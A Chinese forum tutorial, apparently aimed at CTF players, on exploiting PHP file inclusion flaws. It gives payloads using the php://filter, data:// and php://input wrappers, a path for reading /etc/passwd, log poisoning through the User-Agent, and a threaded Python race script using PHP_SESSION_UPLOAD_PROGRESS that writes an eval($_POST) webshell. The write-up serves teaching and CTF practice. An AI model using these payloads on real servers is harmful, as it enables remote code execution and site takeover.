用户
搜索

[web安全] 浅谈[文件包含]

  • TA的每日心情
    无聊
    2021-7-28 08:50
  • 签到天数: 11 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋-脚本小子

    Rank: 2

    1

    主题

    20

    帖子

    251

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2020-3-13
    发表于 2021-7-28 09:40:36 01426
    本帖最后由 手机用户YAQmys 于 2021-7-28 09:43 编辑

    什么叫文件包含

    利用include require include_once require_once等导致包含文件

    include不是函数 是一种特殊的语言结构

    任何文件会以php方式执行

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        include($file);
    }else{
        highlight_file(__FILE__);
    }

    这就是一个简单的文件包含漏洞

    那我们如何利用?

    file://
    • 条件
      • allow_url_fopen:off/on
      • allow_url_include :off/on

    file:///etc/passwd

    php://
    • 条件
      • allow_url_fopen:off/on
      • allow_url_include :仅php://input php://stdin php://memory php://temp需要on
    协议 作用
    php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input是无效的。
    php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
    php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
    php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
    php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

    CTF文件包含常用的三种

    php://filter

    php://filter/read=convert.base64-encode=flag.php

    allow_url_fopen=off allow_url_include=off #也可以使用
    • read=读链的过滤器

    • write=写链的过滤器
    • 如果没有read=或者write=作前缀的筛选器列表会视情况应用于读或者写
    eg:
    include("php://filter/convert.base64-encode/resource=flag.php") //默认为读
    file_put_content("php://filter/convert.base64-encode/resource=webshell.php","<?php eval($_POST[1]);?>")//默认为写
    • 过滤器主要类型
    string.rot13 == str.rot13()
    string.toupper == strtoupper() //转大写字母
    string.tolower == strtolower() //转小写字母
    string.strip_tags == strip_tags() //去除html,php语言标签

    一道比较经典的题目(在mssctf也是遇到了这个考点:死亡die)

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $content = $_POST['content'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
    
    }else{
        highlight_file(__FILE__);
    }
    • 解法一
    ?file=php://filter/write=convert.base64-decode/resource=1.php
    content=aa<?php phpinfo();?>(base64编码)
    //原理
        phpdie六个字符加上aa一共八个字母 base64算法解码时是4个byte一组
        利用php://filter流的base64decode就可以将phpdieaa正常解码
        传入的<?php phpinfo();?>(base64编码)也可以正常解码
    • 解法二
    ?file=php://filter/write=string.rot13/resource=2.php
    content=<?php phpinfo();?>(rot13编码)
    //原理
        将<?php die('大佬别秀了');?>进行了rot13编码 <?php phpinfo();?>(rot13编码)进行了解码 故不开启短标签,不认识了<?php die('大佬别秀了');?>(编码后的内容)//将不再执行
    • 解法三
    ?file=php://filter/write=string.strip_tags|base64-decode=3.php
    content=<?php phpinfo();?>(base64编码)
    //原理
        将<?php die('大佬别秀了');?>标签去掉后 对我们输入的content进行了base64解码写入
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        include($file);
    }else{
        highlight_file(__FILE__);
    }

    data://

    过滤了php协议 用data协议

    ?file=data://text/plain;base64,<?php phpinfo();?>(base64编码)

    • 利用如下

    data:,<文本数据>
    data:text/plain,<文本数据>
    data:text/html,<HTML代码>
    data:text/html;base64,<base64编码的HTML代码>
    data:text/css,<CSS代码>
    data:text/css;base64,<base64编码的CSS代码>
    data:text/javascript,<Javascript代码>
    data:text/javascript;base64,<base64编码的Javascript代码>
    data:image/gif;base64,base64编码的gif图片数据
    data:image/png;base64,base64编码的png图片数据
    data:image/jpeg;base64,base64编码的jpeg图片数据
    data:image/x-icon;base64,base64编码的icon图片数据

    把一些体量比较小的数据直接嵌入在页面里,而不使用外部链接

    php://input

    ?file=php://input

    提交post数据 <?php phpinfo();?>

    //注
    可以访问请求的原始数据的只读流,在POST请求中访问POST的`data`部分,在`enctype="multipart/form-data"` 的时候`php://input `是无效的。

    利用日志包含

    apache的日志在/var/log/apache/access.log。:

    nginx的日志在/var/log/nginx/access.log和/var/log/nginx/error.log

    Apache运行后一般默认会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),Apache的访问日志文件记录了客户端的每次请求及服务器响应的相关信息。

    当每次发出一次访问时 日志文件就会记录我们的信息 get/post发送的数据  请求头等

    payload:

    ​   ?file=/var/log/nginx/access.log

    ​   UA:\<?php phpinfo();?>

    利用PHP_SESSION_UPLOAD_PROGRESS get shell

    • 利用条件

    PHP version >= 5.4

    1. session.upload_progress.enabled = on
    2. session.upload_progress.cleanup = on
    3. session.upload_progress.prefix = "upload_progress_"
    4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
    5. session.upload_progress.freq = "1%"
    6. session.upload_progress.min_freq = "1"
    //enabled=on 表示upload_progress功能开始,意味浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session中
    //cleanup=on表示当文件上传结束后,php将会立即清空session文件中的内容,这个选项非常重要;name当它出现在表单中,php将会报告上传进度,它的值可控;
    //prefix+name表示session中的键名
    //session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控

    故cookie传值PHPSESSID:huahua 会在/tmp/sess_huahua创建一个文件 在访问结束后会清空内容

    通过PHP_SESSION_UPLOAD_PROGRESS查看上传进度可以控制/tmp/sess_huahua里的内容 采用文件竞争方式进行访问

    py脚本如下

    import threading
    import io 
    import requests
    
    url='http://e452861c-2e24-45d7-85cb-081b143cf342.challenge.ctf.show:8080/'
    data={
        '1':"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');"
        }
    sessionid='huahua'
    def write(session):
        fileBytes=io.BytesIO(b'a'*1024*50)
        while True:
            response=session.post(url,
            data={
                'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
            },
            cookies={
                'PHPSESSID':sessionid
            },
            files={
                'file':('huahua.jpg',fileBytes)
            }
            )
    def read(session):
        while True:
            response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={
                'PHPSESSID':sessionid
            }
            )
            response2=session.get(url+'2.php')
            if response2.status_code==200:
                print('[+++++++++++++++++YES+++++++++++++++++]')
            else:
                print(response2.status_code)
    
    if __name__=='__main__':
        event=threading.Event()
        with requests.session() as session:
            for i in range(5):
                threading.Thread(target=write,args=(session,)).start()
            for i in range(5):
                threading.Thread(target=read,args=(session,)).start()
        event.set()

    总结

    姿势多多 还请师傅们批评指正

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册